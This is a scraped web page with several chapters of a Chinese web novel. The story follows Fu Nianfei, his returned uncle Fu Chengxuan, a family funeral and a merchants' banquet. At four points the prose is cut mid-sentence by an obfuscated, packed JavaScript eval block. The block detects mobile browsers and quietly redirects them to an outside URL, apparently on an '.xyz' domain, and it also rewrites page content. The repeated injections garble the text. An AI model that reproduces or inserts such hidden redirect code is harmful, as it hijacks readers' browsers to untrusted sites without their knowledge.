傅承轩检查得很仔细,俊挺的眉眼在暗光下阴影更重,灰蓝色的眼眸迷人又深邃,似有淡淡辉光,傅念斐看着看着就又痴了…… 奈何也不知是哪位粗心的佣人贡品没摆好,堆叠在瓷盘里的糖块儿突然哗啦一声塌了。 傅念斐吓得一哆嗦,攥着傅承轩衣襟的手直接怼在他小舅舅伤口上,傅承轩疼得闷哼一声冷汗直冒,后退半步径直撞上刚才洗手的铜盆。 铜盆咣当一声响。 傅承轩雪白的衬衫上洇开些许血迹,捂着腹部好半天才缓过一口气,再抬头,便看见傅念斐傻呆呆地看着他,脸白的吓人。 傅承轩心想,完了,吓到小外甥了,怕是要掉眼泪。 下一秒,傅念斐的眼泪噼里啪啦掉了下来,哽咽着瞪大两个肿眼泡:“舅舅……你怎么了……” 傅承轩这人说来也怪,要是傅念斐因为别的事儿哭,他必定要第一个上去哄。 可如果傅念斐是因为担心他才哭,他便总忍不住想多逗一会儿,逗够了才去哄,也不知是什么恶趣味。 然而此时此地,久别重逢,当着傅云珠的面,看着水龙头一样的傅念斐,他终究没忍心胡闹。 “别胡思乱想。”傅承轩掏出手帕帮小外甥擦脸,动作又轻又仔细,“受了点儿小伤,过几天就好了。” 傅念斐瞪视他,表情怀疑:“骗人,若是伤得不严重,为什么半年不寄信?” 一断联就是半年,他还以为傅承轩真死了。 傅承轩无奈刮刮傅念斐的鼻子:“是我不对,但奉城是赵兴的地盘,那半年他盯得紧,往来信件被他发现的话,怕是对你们不好。” 岂止是不好,那位赵大帅怕是会绑傅念斐母子做肉票。 傅念斐闻言半信半疑。 他知道傅承轩从军打仗,却不知对方从的哪支军、在跟谁打仗,傅承轩从不在信里提,因此他更不知称霸奉、晋、津三城的赵大帅怎么就把他小舅舅看得那样重要了。 然而现在什么问题都不及他小舅舅的伤重要,傅念斐一门心思仍盯着傅承轩的衬衫看,仿佛正找地方下手,打算撕开衣服直接检查。 傅承轩心知肚明,小外甥打小就这样,不达目的不罢休,若是现在不给对方看看伤口,恐怕傅念斐想东想西能哭上一整宿,心疼的还是自己。 眼睛已经这样了,再哭就瞎了。 傅承轩没办法,只能撩开衬衫下摆、解开两颗扣子,握着傅念斐的手腕让对方伸进去:“摸摸,纱布不大,只是划伤。” 但伤口深,今天已经崩开两次了,回去必须打个消炎针,若是感染了真的会死人。 这些话傅承轩是绝不会说的。 傅念斐不敢使劲儿,指腹捋着纱布边缘摸了一圈,几乎摸遍了傅承轩半块坚实的小腹,弄得傅承轩一脑门汗。 傅念斐对此全然不知,他只知道包扎的患处的确不大,比折起来的手帕大不了多少,悬着的心脏终于放回肚子,眼泪也不流了。 小外甥面色缓和的一瞬间,傅承轩就拽出对方的手,重新系好扣子。 他心中暗道:小念斐,你要是再多摸两下,我可就真做不成你舅舅了…… “念斐小少爷?刚的声音是……” 灵堂门口突然传来佣人的轻唤,对方声音颤抖牙齿打颤,显然被灵堂里发出的声响吓到了,鼓起好大的勇气才敢靠过来。 傅念斐连忙清清嗓子大声道:“哦,没事儿,我刚太累了想洗把脸,差点儿把盆弄翻。” “成,那等下我给您换盆儿水,再让厨房给您煮碗面填填肚子?” “不用了,你去忙吧,不用守着。” 傅念斐三两句打发了佣人,再一回头却发现傅承轩已经不见了,只在供桌上留下一张纸,旁边还有傅承轩沾着茶水给他留的两个字:给你。 给我? 说走就走,只留一张破纸,怎么不亲手给我?小舅舅真过分。 傅念斐嘴唇紧抿展开那张纸,面上一愣,没想到竟是封邀请函。邀请人叫杜长乐,是平城商会会长。 杜长乐,这人傅念斐听过,对方跟如今成功占据北方十二城的宁大帅关系深厚,正是因为有宁家,才有杜长乐如今北方首富的身份。 宁系军阀和赵系军阀的争端早就让奉城商贾苦不堪言,前段时间又炸了铁路,通商不便,因此杜长乐紧急赶到奉城的原因很简单,安抚奉、晋、津三城商人,合作谋发展,为宁家接管三城提供便利,也给三城商贾一个依靠宁家求财的机会。 当然,这些事儿不是傅念斐这个年纪的人能想通的,他只是听外祖父在晚饭的时候念叨过。 外祖父说拿到杜长乐的邀请函相当不易,是四处拜会,费了好大人情才弄到手的,让他二舅舅傅承闲千万重视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286098|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿出傅家子弟的风范,在平城的大人物面前好好露个脸,别不知好歹。 所以……这么贵重的东西,就让他小舅舅这么塞供桌上了? - 傅家,二房。 今夜傅家主没来二房休息,二太太汪宝琴也乐得清静。 她现在已经五十出头了,亲哥哥多年前便已晋升警察局长,娘家在奉城很风光。她自己也愈发懒得像当年那样哄人,尤其是哄一个比自己大二十岁的糟老头。 二太太经常会想,若是当年邮轮事故傅家主死在里面就好了,这老头子不回来,也不至于拿那些洋观念折腾傅家的家产,她们这些婆娘孩子守着傅家的祖产定能过得舒舒服服的,没现在这些糟烂事儿。 唉,那时候大太太缠绵病榻,她这个二太太私下里已经掌了半年家,还养了两个小白脸,日子过得别提多滋润。 没想到没多久傅家主就回来了,还带着傅承轩那个小混蛋!现在更是弄出个能生儿子的三姨太,简直是要烦死人! “娘,您找我?” 傅承闲敲敲门进来,刚一进门就打了个哈欠,永远一副睡不醒的样子。 二太太气得过去扭他耳朵:“真是作孽,生了你这么个东西,我的大少爷,你这是要睡还是刚醒?” “诶呦诶呦,轻着点我的亲娘,别给您儿子耳朵揪掉了,到时候不还是您心疼?”傅承闲天生一副笑脸桃花眼,嘴甜,很像年轻时的汪宝琴。 他解救出自己的耳朵,拉着汪宝琴坐下,给他娘捶肩:“怎地这么大气性?我听说傅承轩活了?因为他?” “什么活了死了的,我看那个小畜生就是装死,傅云珠刚没他就回来,当着那么多佣人的面让我和你爹下不来台,这是憋着坏呢,说不准要生什么事!” 傅承闲还是那副笑嘻嘻的样子:“咱们有舅舅撑腰,他能生什么事?” “哼,那倒是。”想到自己比地头蛇还地头蛇的亲哥哥,二太太气消了不少,“对了,你明天去找你舅舅一趟,让他调查调查,那混小子现在到底做的什么营生,怎么富成这样。” 傅承闲:“诶呦,这事儿您随便使唤个人就去了,或者打个电话也行啊,总指使我干什么,我明个儿还约了人听戏呢。” 二太太恨铁不成钢地掐了傅承闲一把:“听戏听戏就知道听戏!你个傻小子!亲舅甥也得多走动,否则情分从哪儿来?你看看傅念斐和傅承轩那两个小混蛋,多年不见都能黏糊成这样,傅念斐要什么傅承轩不给他办?简直要星星不给摘月亮!但凡你和你舅舅要是能亲昵成那样,也不至于现在还闲得到处打晃。” 她越想越气:“呸!凭什么她三姨太的儿子能叫承祖,我儿子就得叫承闲?!老爷和老太太可真是偏心眼儿!” “还有!”傅承闲连句话都没来得及说,二太太便又嘱咐道,“过几天,你和你爹要去那个宴会,娘交代你的事情一定要做,知道不?” 傅承闲这回来了精神,他眨眨桃花眼:“哎呦,我知道了娘,一个女人么,儿子手到擒来。” 5. 5-妖妃 傅承轩“大闹”傅家的事儿一夜传遍整个奉城,出殡当天傅家堪称门庭若市,熟的不熟的都来吊唁,包份奠仪、鞠个躬、上柱香,顺便看看傅承轩这位“死而复生”的傅家养子,是不是真有外面传得那么豪、那么横。 然而不看不知道,别的不说,单看那副金丝楠木棺材,在奉城就算一顶一的气派。 门外街两侧是接待吊客的流水席,原本傅家备的是8银元一桌的席面,共十桌了事。 可大清早天还没亮,傅承轩手底下的人就登门把席面改成五十桌,每桌更是换成30银元的席面,依照傅云珠的口味请百味居大厨掌勺。 为首的一桌谁也不让动,傅家人也不行,说是单独留给傅云珠的。 “姐姐生前贪嘴,但爱漂亮不敢多吃,现在人去了,没那么多忌讳,就专门备一桌给她,辛苦各位亲朋体谅。”傅承轩说完,朝众人微微弯腰,算是感谢。 吊客们纷纷点头,说体谅体谅。 灵堂设在外院,出殡前后要有专门的师父操持法事。原本二太太准备的是个阴阳先生,带着两个小徒弟,头天晚上便歇在傅家了。 没成想傅家佣人请人的时候才知道,这位阴阳先生和两个小徒弟早被傅承轩手下用二十银元打发走了。随后便有一队高僧穿着气派的袈裟,手持经卷佛珠鱼贯而入,围着灵堂颂起经来,看架势要念一整天。 这态度简直是不把傅家长辈放在眼里,傅家主全程黑脸,但傅承轩偏就吃准他好面子,想做什么问都不问直接就干,傅家主和二姨太只能咬碎银牙往肚子里咽。 吊客们全然无觉,他们心里感慨,这位傅家养子的确“豪”,“横”倒是没有,彬彬有礼的看着很绅士,形象也是俊美又摩登,非同一般的好看,不像傅家二姨太给各位名流太太们致电时说的那般混账。 这份风头简直让傅承轩出尽了,二姨太借着手臂遮挡狠狠扭了下傅承闲的胳膊肉:“你舅舅那边回话没有!他到底从哪儿弄这么多钱?” 傅承闲诶呦一声:“我的亲娘,这才一宿,哪儿那么快啊……” 然而说慢也不慢,那群高僧一轮经文还未颂完,汪局长便派人过来了。 这人穿着警员制服,帽子扭歪不伦不类,比起警员更像个痞子。 他嘿嘿一笑问了好,在二太太耳边耳语半晌,汪宝琴的眉头紧皱片刻终于豁然开朗:“哈,原来是这么回事儿,我就知道你这小混蛋憋着坏呢。” 得到靠谱消息的二太太立刻像有了主心骨,她喜不自胜,扬起下巴塞给警痞一块银元,嘱咐佣人招待对方好好吃顿流水席,最好吃垮傅承轩那个小混蛋,随后便扭身就去找傅家主了。 “消息属实?” 二太太过来的时候,傅家主正在厅里喝茶水生闷气,但既然是汪局长给的消息,他即便嘴上质疑,心里也信了九成。 “哥哥的耳目遍布奉城,骗你做什么?”二太太嗔怪。 傅家主点点头,自认有谱了。 - 引魂幡开道,傅念斐手持哭丧棒,三里长街都是傅承轩为傅云珠亲手置办的陪葬。长姐如母,即便傅家不做人,云珠这个姐姐傅承轩是认的。 奈何,即便傅云珠躺在寻常人家想都不敢想的金丝楠木棺里,棺材终究还是要掩埋在黄土之下。人死如灯灭,活人再不舍,也终究天人永隔。 傅念斐攥着纸钱,摸摸墓碑,忍了一早上的泪水到底还是滚了下来。 傅承轩站在后边,久久凝视傅念斐的背影,心道:哭吧,哭出来总比憋着强,人都是哭过几次、恨过几回才能长大,才知道自己想过什么日子。过去傅家只准你读书,想让你安分守己做个好学生,不跟二房抢食吃。现在舅舅回来了,你想要傅家舅舅给你傅家,你想独立门户舅舅便是你的靠山…… 小念斐。 你想要什么舅舅都给你。 “少……咳,东家。” 少帅俩字儿差点脱口而出,宁小六连忙拍了一下自己的嘴,笑眯眯地跟傅承轩告饶,比昨天强拦二太太的时候看着和善多了。 傅承轩目光不移,只点点头:“说。” 宁小六:“东家,您猜得真准,果然有人打听您了。” 傅承轩:“汪局长的人?” 宁小六竖了个大拇指:“是他。” “也只有他了。”傅承轩眯起眼睛。 汪局长是奉城警察局长,更是官匪勾结的地头蛇,十多年前便暗地跟奉城匪帮交好,甚至娶了匪帮大当家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286099|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妹妹。 也正是拜汪局长所赐,才有当年山匪劫走重伤中的傅承轩,还差点捅死他这回事。 宁小六笑嘻嘻道:“得亏您安排的早,咱自己的兄弟在城外边便变成城防兵了,负责抬东西的都是武馆聘来的,赵老贼余孽恐怕做梦都想不到,奉城城防军比之前多了一倍,想跑可难呢。” 傅承轩:“赵兴留下的赵系余孽跟奉城本地的三教九流更熟,武馆那些人不一定牢靠,瞒不了多久。” 之所以要瞒,是怕赵兴余孽打扰傅云珠下葬,如今一切尘埃落定,瞒不瞒身份其实也没那么重要。不过不公开的话肯定更安静,省得被携礼拜访的人踏破门槛。 “宅子备好了?”傅承轩问。 “备好了。”宁小六说,“按您的要求寻了个僻静宅子,原主人是个法国商人,因为战事原因回国了,咱今晚就不用住饭店了。” 傅承轩点点头:“挺好。” 宁小六:“床垫子已经换过了,家具摆件什么的要不要也换了?那法国人审美忒奇怪,家里好多洋玩意儿,怕您用不惯。” 傅承轩:“不急,这房子是给念斐买的,咱们暂住而已。等过几天让他来看看,喜欢什么家具摆件的,让他自己选。” “诶,好嘞。” “等等。”宁小六刚要走,却被傅承轩叫住,“你在念斐那屋先装个大点的浴缸吧,他小时候就喜欢玩水,备个浴缸更好。” “成。”宁小六点头转身。 “还有。”傅承轩补充,“院子里放几个躺椅和遮阳伞,再雇个花匠种点月季,他喜欢在院子里读书睡午觉。” “哎,好。”宁小六又要转身。 傅承轩又说:“这季节适宜吃荔枝,你去杜会长那儿问问还有其他应季瓜果没有,让他的人列个单子出来,我们选选。” 过几天杜长乐要宴请三城豪绅,不可能不备好货,瓜果奇珍是必有的,或许还有奶糖巧克力之类的孩子玩意儿。 宁小六咂嘴:“乖乖……东家,您对念斐小少爷怎么跟皇帝老爷对妖妃一样,还要运荔枝。” 傅承轩一顿:“胡说八道。” 宁小六立刻给了自己一巴掌,笑嘻嘻:“掌嘴,小的这就去运荔枝。” 6. 6-美男 傅家门口的流水席要持续三天,从早到晚不间断,直至晚饭的时候门口还在喧闹。 二太太朝门口翻了个很不客气的白眼,但傅念斐在场,她不好说什么,反倒给念斐夹了一筷子菜。 “来念斐,吃个鸡腿,这是用板栗和芋艿炖出来的,很补的。” 傅念斐夹起鸡腿咬了一口,朝二太太的笑笑:“好吃,谢谢二太太。” 二太太也笑:“我们念斐真是个好孩子,人乖,连吃饭都这么斯文。不像你二舅舅,天天急着出去社交,今天认识个李主任、明天认识个赵处长,吃饭跟赶集一样,不消停。” 她嘴上抱怨,表情却骄傲,傅承闲实在受不了他娘总这样:“哎呦娘……吃饭的时候总说这些干什么?” 傅念斐:“二舅舅将来是要做大事的,多认识些人总归有用,我还是个学生,好好读书就行了,不一样的。” 二太太美滋滋:“对,好好读书,读书最有用了,你舅老爷现在最后悔的就是当初没多读几本书,跟那些名流喝酒的时候人人都会念诗,就他不会,苦恼死了。等你大学毕业,也像你爹一样找朋友合办个报纸杂志,做好了名气大着呢,人人都要喊你主编,很客气,日子过得可滋润。” 她对傅念斐他爹八字还没一撇的报纸事业捧了一通,恨不能现在就把傅念斐下半辈子的职业定下来,做什么都行,总归不能进傅家的产业。 坐在傅念斐身旁的辛笃学扯扯嘴角,对自己儿子的未来职业无甚观点,只说:“先读书,将来留洋回来做个大学教授也好。” 二太太赞同:“对,大学教授也好。” 傅老太太头不抬眼不挣,向来不参与这些话题,身边的婆子伺候她吃饭,吃完就走,活的像一抹被禁锢在傅家的幽魂,面上层层累累的皱纹都是积藏已久的怨气。 老太太走后傅家主明显松泛不少,他瞥了一眼辛笃学:“报纸名字取了嘛?什么时候发第一期?” 辛笃学迟疑一笑,推了推脸上的圆框眼镜:“呃,报纸名字大家还在讨论,已经淘汰了十几个名字,正在最后三个里面选,这几天就能定。第一期内容得请个名家来写才能一炮打响,这事儿由廉睿兄负责,他善交际,认识的人多。” “那就是全都没定?”傅家主的眉毛皱了松、松了皱,咣当一声撂下筷子,“你这报纸傅家参了股的,忙活了小半年连个名字都没定下!废物,还能干点什么?李廉睿就是个仗着家资丰厚整天混吃等死的大少爷,天天就知道社交,你让他去办事,是想把我也耗死再出第一期吗?” 辛笃学面色僵硬只能赔笑:“岳丈说的是,我明天一早就带动大家积极讨论,争取尽快把事儿定下来。” 二姨太不高兴:“爱社交怎么了?朋友不都是这么交下的?把关系维护好才能做大事,我哥哥也是这样的,怎么就混吃等死了?是不是承闲,你说句话啊。” 傅念斐:…… 吃着吃着就又闹起来了,好好的傅家饭厅被他们弄得像鸡棚,比大门口的流水席还吵。 傅念斐心里叹气,低头扒饭,他原本还想跟外祖父提下要跟小舅舅去赴宴的事,但现在想想……还是不说了吧。 二房对傅家下一任家主的位子势在必得,二太太向来不喜欢傅念斐出去社交,怕他认识的人多了就起心动念,其实傅念斐自己也对那个位子没兴趣。 不如偷摸摸跟小舅舅去蹭顿饭得了,反正小舅舅只是个军汉,不见得真跟那个杜会长有什么交情,否则怎么会把那么珍贵的邀请函随便压在糖盒子底下? 纸上现在还有圈印子…… 其实去不去赴宴也不重要,能见到小舅舅就行,两人一起去湖边逛逛都是好的。 但小舅舅想着自己,要带他去吃好吃的,傅念斐自然高兴。 他心里突然就觉得美滋滋的,先是高兴地扒了几口肉汁拌饭,又在饭厅混战中给自己夹了第二个鸡腿。 反正他们也不吃,放着浪费。 我吃。 - 宴会是晚上五点开始,傅念斐不确定小舅舅几点来接他,但要穿的衣服他从大清早就开始准备了。 男人能穿的衣服也就那么多,要么穿长衫,显得文质彬彬一点。要么穿西装,看着摩登新潮一些。 傅念斐其实更习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286100|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长衫,柔软舒服,没那么多里里外外的零碎,还凉快。 但想起小舅舅登门傅家那天穿的是浅色西装,送他娘出殡那天穿的是黑色西装,傅念斐思前想后,还是把去年傅云珠给他定制的那套西装拿了出来。 西装是深灰色,配条纹领带,什么场合都能穿,低调不抢眼,合适他性格。 他还学着二舅舅的样子抹了点司丹康发油,把头发撩上去一些,露出饱满的额头和形状优美的眉毛,看着俊俏又精神。 果然。 傅念斐看着镜子里的自己暗道,人和动物一样,求偶的时候都会爱漂亮。 他弯了弯眼睛,下一秒,眼尾又耷拉下来。傅念斐心想,可如果这么说的话,小舅舅这两次见面都挺漂亮的,他是天天都这样打扮么?给谁看的?有喜欢的人没有? 傅念斐越想越伤心,中午饭都没吃,他躺在床上继续想,二舅舅在我这个年纪的时候已经每天打扮光鲜去百乐门跳舞了,现在三十多了还没跳腻。 小舅舅今年已经二十六了,爱打扮也正常,就是不清楚已经爱打扮多久了,喜不喜欢跳舞。 他打仗的地方也有百乐门吗?没听他讲过……山水景色的事儿倒是没少说。不过即便他去百乐门,应当也不会告诉自己这个做外甥的。 傅念斐生无可恋地躺在床上,欲哭无泪,望眼欲穿,直到四点多佣人敲门才起来。 佣人看到傅念斐的新模样惊奇又惊艳,脱口而出:“诶呦,念斐小少爷今儿个真洋气!简直是全奉城一等美男子!” 傅念斐又高兴了:“真的?” 佣人忙说真的真的,又恭维了两句,随后才说:“承轩少爷正在门口等您呢,说和您约好了。” 傅念斐“啊”一声:“怎么不早说。” 他眼睛晶亮连跑带跳出门,下午那点儿伤春悲秋立即飘然脑后,全喂了后院的狗。 “爹要是问起我就说我晚点儿回来。” 佣人应:“诶,知道了。” 傅念斐边跑边抿着嘴笑,他心说甭管舅舅打扮给谁看、爱跟谁跳舞,总之我是全奉城一等美男子,都给比下去! 7. 7-恩公 傅承轩站在傅宅大门口,靠在那辆斯蒂庞克轿车车门上,车身漆黑靓丽、线条流畅,和他浅灰色的西装相得益彰,有股子形容不出来的英俊。 这车不懂行的人只知道它好看,懂行的人才知道它价值连城,得一万多银元。 一万多银元什么概念?奉城大学留洋归来的教授们每月月薪200到500银元不等,平常人家一年的花销不过百来块银元。 总之,这是全奉城仅此一件的豪奢品。 昨晚傅承轩在杜会长送来的货品清单上选了这辆车,当场银货两讫,今天下午就拿来送他小外甥当玩具。 杜会长当时啧啧啧:小孩子哪至于开这么好的车,他还不会开车吧?车碰坏了你不心疼? 傅承轩说:碰坏我外甥我才心疼。 杜会长哽了半天,送傅承轩出门时才说:明晚宴会,我倒要仔细分辨一下你这宝贝外甥跟我那个吞金兽侄子有何不同。 “小舅舅!” 傅承轩一抬头便看见飞奔而来的傅念斐,像只快乐的小鸟,双眸漂亮如点漆,几乎撞进他怀里。 眼睛好了,终于不是两条缝。 然而小鸟在最后一刻突然想起傅承轩身上的伤,于近在咫尺处猛地停住,小心看看傅承轩腹部。 “小舅舅……还疼吗?” “不疼,好多了。” 傅承轩欲抬起抱人的手臂终究卸了力,腾起来的心脏重归平静,伸手捋捋傅念斐的头发:“跑什么,又不急。抹发油了?” “乱了吗?”傅念斐摸摸头发,耳朵泛红偷窥傅承轩表情,“奇不奇怪?只抹了一点。” 傅承轩的表情一如既往,他看傅念斐的时候永远那么温柔,不像刚才傅家的佣人那样,会用惊艳的表情和话语夸奖他,因此傅念斐读不懂对方是喜欢这个发型还是不喜欢。 傅承轩打开车门示意傅念斐上车:“是跑乱了点儿,不严重,我帮你弄弄。” 今天跟在傅承轩身边负责开车的是宁老八,这家伙办事稳当还不多嘴,不会像宁小六那家伙一样破坏氛围,因此车门一关,整辆车里都异常安静。 轿车缓缓启动,前往奉城大饭店。 傅承轩拍拍身边,噙着微笑举止从容:“坐过来点儿,我看看你头发。” 傅念斐哦了一声,心脏突突跳。 他心里有鬼,想冒进,恨不能立刻让小舅舅从此只在自己眼前扮漂亮。 于是他迫不及待地挪过去跟他舅舅大腿贴大腿,然而在感受到那股子成熟男人身上的热度之后,傅念斐吓到了,他觉得烫、觉得沸腾,只有退开一点才能止息自己骤然开始的耳鸣。 奉城第一美男子出师不利,只贴了一下大腿就头晕目眩、几欲晕倒,十分没出息。 傅承轩:…… 傅承轩:“许久不见,跟小舅舅生分了?” 傅念斐忙道:“当然不是!” “那躲什么?”傅承轩挑眉,攥住傅念斐的手摩挲了一下,他掌心干燥温热,已没有前几日那样凉了,“坐过来,让我好好看看你。” 从十二岁到二十岁,想来变化是很大的,前几日眼睛肿着都看不清,现在时机刚好。 傅承轩说完就伸出食指扳过傅念斐下巴,灰蓝色的深邃眼珠在小外甥脸上仔细打量,目光柔腻:“眼睛好多了,不肿了。就是还有点血丝,难受么?” “不难受……”傅念斐盯着傅承轩的喉结看,觉得这姿势甚好。除了被小舅舅捏着的下巴像要着火,其他都好。 两人脸对脸叙话。 叽叽咕咕、黏黏糊糊、絮絮叨叨。 前面开车的宁老八心道:小六说的不错,少帅和念斐小少爷真是奇怪。前几日像皇帝老爷和妖妃,刚才像流氓少爷和良家妇女,现在像……久别重逢的相好。 总之什么都像。 就是不像舅甥。 怪。 - 名流云集的宴会,向来是有求于人的先到,众星捧月的晚到。 傅家主带着儿子傅承闲步入宴会大厅的时候,除了忙碌中的酒店侍应生,只有三三两两的奉城本地商人在交谈,都不是什么有名望的富户。 “爹,来这么早干什么?”傅承闲抱怨,他下午才醒,很困。 傅家主不满:“教过你的事都学到狗肚子里去了,将来如何撑起傅家?向上结交要不卑不亢更要谦逊恭谨,若等三城商贾尽数到场你再来,哪还轮得到你挨个认识?你挤得进去?” 傅承闲撇撇嘴:说得好听,不就是趁早蹲守好挨个儿递名片么。 傅承闲这么想的确没错,但他不知傅家主还有其他目的。 前几日,二太太将汪局长查来的消息告诉了傅家主,说傅承轩那小子打进城开始便自称是从晋城来的商人,要在奉城行商久居。 傅承轩如今出手阔绰,的确是富商姿态。可汪局长的耳目又说,这小子进城时只带了两个仆从三匹马,说是行商却没有货,不去商行不去洋行,更不参与商会举办的贸易活动,实在不像个商人。 汪局长觉得蹊跷,便在奉城找了几个还算熟悉晋城的人问,可所有人都说没听过傅承轩这号人物。 傅承轩十八岁的时候被傅家打出去,重伤之时又被汪局长安排的土匪捅了一刀,若非当时突然有一波马贼出现,半道儿劫走土匪们装着傅承轩和财物的车马,傅承轩早就化为一抔黄土了。 马贼游荡作案性情狠绝,劫掠财物的同时从不放过人命,傅承轩当时重伤濒死,落在马贼手里几乎是必死无疑。 怎么就活了呢? 这事儿傅家主想不通,二太太也想不通,可汪局长送来这些调查结果后,二太太突然就觉得自己想通了。 她跟傅家主说:老爷,要我看啊,傅承轩那小子当初没准入了马帮。您想啊,他打小儿就聪明,读书好还会武,又长了点儿洋人模样。我若是马贼头子,会觉得这种人最适合做仙人跳挣钱,算人才。跟我哥相熟的那位匪帮大当家,不就最喜欢玩这套么。 她还说:老爷,这年头经商多难呢,他当初连本钱都没有,如今出手这么豪奢,必定是抢来的钱财。我看他没准儿盯上傅家了,若是没我哥哥震着,早就动手了。 乱世之中,能让十八岁孩子快速赚大钱的道道无非几条,这猜想也有些道理。但傅承轩到底是不是晋城商户,只凭往来商贩的证言还是不够的,还得探探晋城豪绅的口风,今天正是个机会。 傅家主端着酒杯站在宴会厅门口附近,每当进来衣饰华贵的受邀人,他便拿着名片过去寒暄几句。 傅承轩若是在晋城行商,说不准会换名字,但他那副带有洋人血统的长相也必定令人印象深刻,只要他真在晋城商界走动,一定能问出点什么。 “您是说灰蓝眼睛,有点洋人面相的商人?这倒没听说,傅承轩这个名字也没听过。”来自晋城的商人摇头,“晋城比奉城小,有名望的富户新贵屈指可数,若是有样貌特别的人物,我肯定听过……不知道傅老先生想问的这人是?” 既然如此…… 傅家主心下大定。 他无奈叹气:“唉,您有所不知,这人是我曾经的养子。我养他十八年,让他读书习武,他却性情乖戾不知感恩,做出令傅家蒙羞的丑事。当年是我不好,一时冲动用了家法,想送他去国外冷静冷静,学点儿本事再回来。没想到他记恨我,一离家便没了消息,前段时候突然回来,刚回家便把家里闹得鸡犬不宁,还口出狂言自己在晋城经商,唉……我就是想问问,他这些年过得好不好,若是打肿脸充胖子,傅家到底也会给他留口饭吃的。” 晋城商人听完很是感慨:“傅老先生仁德,也别太伤心,儿孙自有儿孙福。” 毕竟不熟,他们交换名片寒暄几句便各自离开了。傅承闲低声问他爹:“那下次傅承轩再上门……” 傅家主脸一沉:“傅家养他这么多年,碍于情面容他放肆一次两次,却容不得他放肆第三次!他要再敢登门,就将他打出去了事!管他是马贼还是商户,在警察面前,只要敢瞎闹,都得下大狱!” 死不了就下大狱,总之不能闹起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286101|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。若是傅承轩真管自己要他母亲的遗物,这才是麻烦大了,如今的傅家经不起流言。 他这话刚说完,身边突然拥挤起来,间或有人低声说:是杜会长来了。 傅家主眼前一亮。 杜会长是北方首富更是远近闻名的仁商,他推崇“乱世之中商者互助,不能只看利益,而要共渡难关”。 对方曾帮助过很多陷入危难的商贾,或给钱或合作,不计回报,仁名远播。 这就是他无论如何都要参加这次宴会的原因,必须搭上杜长乐,这样傅家才有起死回生的机会。 人群中让开一条路,杜会长众星捧月地从中走来,边走边朗声大笑向四周拱手:“多谢诸位大驾光临,给杜某人颜面,杜某荣幸之至,哈哈哈。” 四周的人皆道“杜会长客气”“杜会长久仰”,跟他七嘴八舌寒暄。 这位杜会长心知肚明有心人会在大门口堵他,因此特意晚到片刻从另一个门进来。傅家主全然没料到,站得有点远,无奈只能现往里挤。 七十多岁的老头往人群中挤,即便有傅承闲扶着他也不免被人踩了好几脚,但为了在杜会长面前露个脸,他只能咬牙忍痛诶呦诶呦地继续往里挤。 没成想,在隐约从人群缝隙中看到杜会长那双穿着意大利手工皮鞋的首富双脚时,他听到了一个十分熟悉的名字…… 杜老板说:“今日宴会正式开始前,我要先给诸位介绍一个人。说来惭愧,按年龄算他只能做我子侄辈,但当年若没有他,我杜某人不仅做不成北方首富,甚至连命都要没了。所以按恩情算,我要叫他一声恩公。来,承轩,跟大家打个招呼。” 谁? 傅……傅…… 傅家主听到傅承轩的名字和声音,当即耳朵轰鸣,差点眼前一黑。 现世报,报得相当快。 不止如此。 傅承轩这个名字一出现,所有奉城本地商贾都若有所思地相互对视一番。就连扶着傅家主的傅承闲都心里一突,心道若是真把傅承轩从傅家打出去,恐怕整个奉城都没人再跟傅家合作了。 还有刚才那位听过傅家主“牢骚”的晋城商人,他极为惊讶地看了傅家主一眼。虽然只一眼便转过头去,但晋城商人圈子小,经常互通消息。说不准过几天,全晋城的商人就都知道这件事了。 傅家主一生爱面子,做事爱取巧不踏实,人品平平又控制不住那张暴露人品的嘴。 傅家破败至此,实乃情有可原 人群跟着杜会长离去。 也是跟着傅承轩离去。 傅承闲傻不愣登地看着那边:“爹,你看念斐也在呢,这小子,拿到邀请函怎么不跟咱们说,早知道该一起来。” 傅家主充耳不闻,站在原地没有动,直勾勾地看着自己那双被人群踩脏的脚。 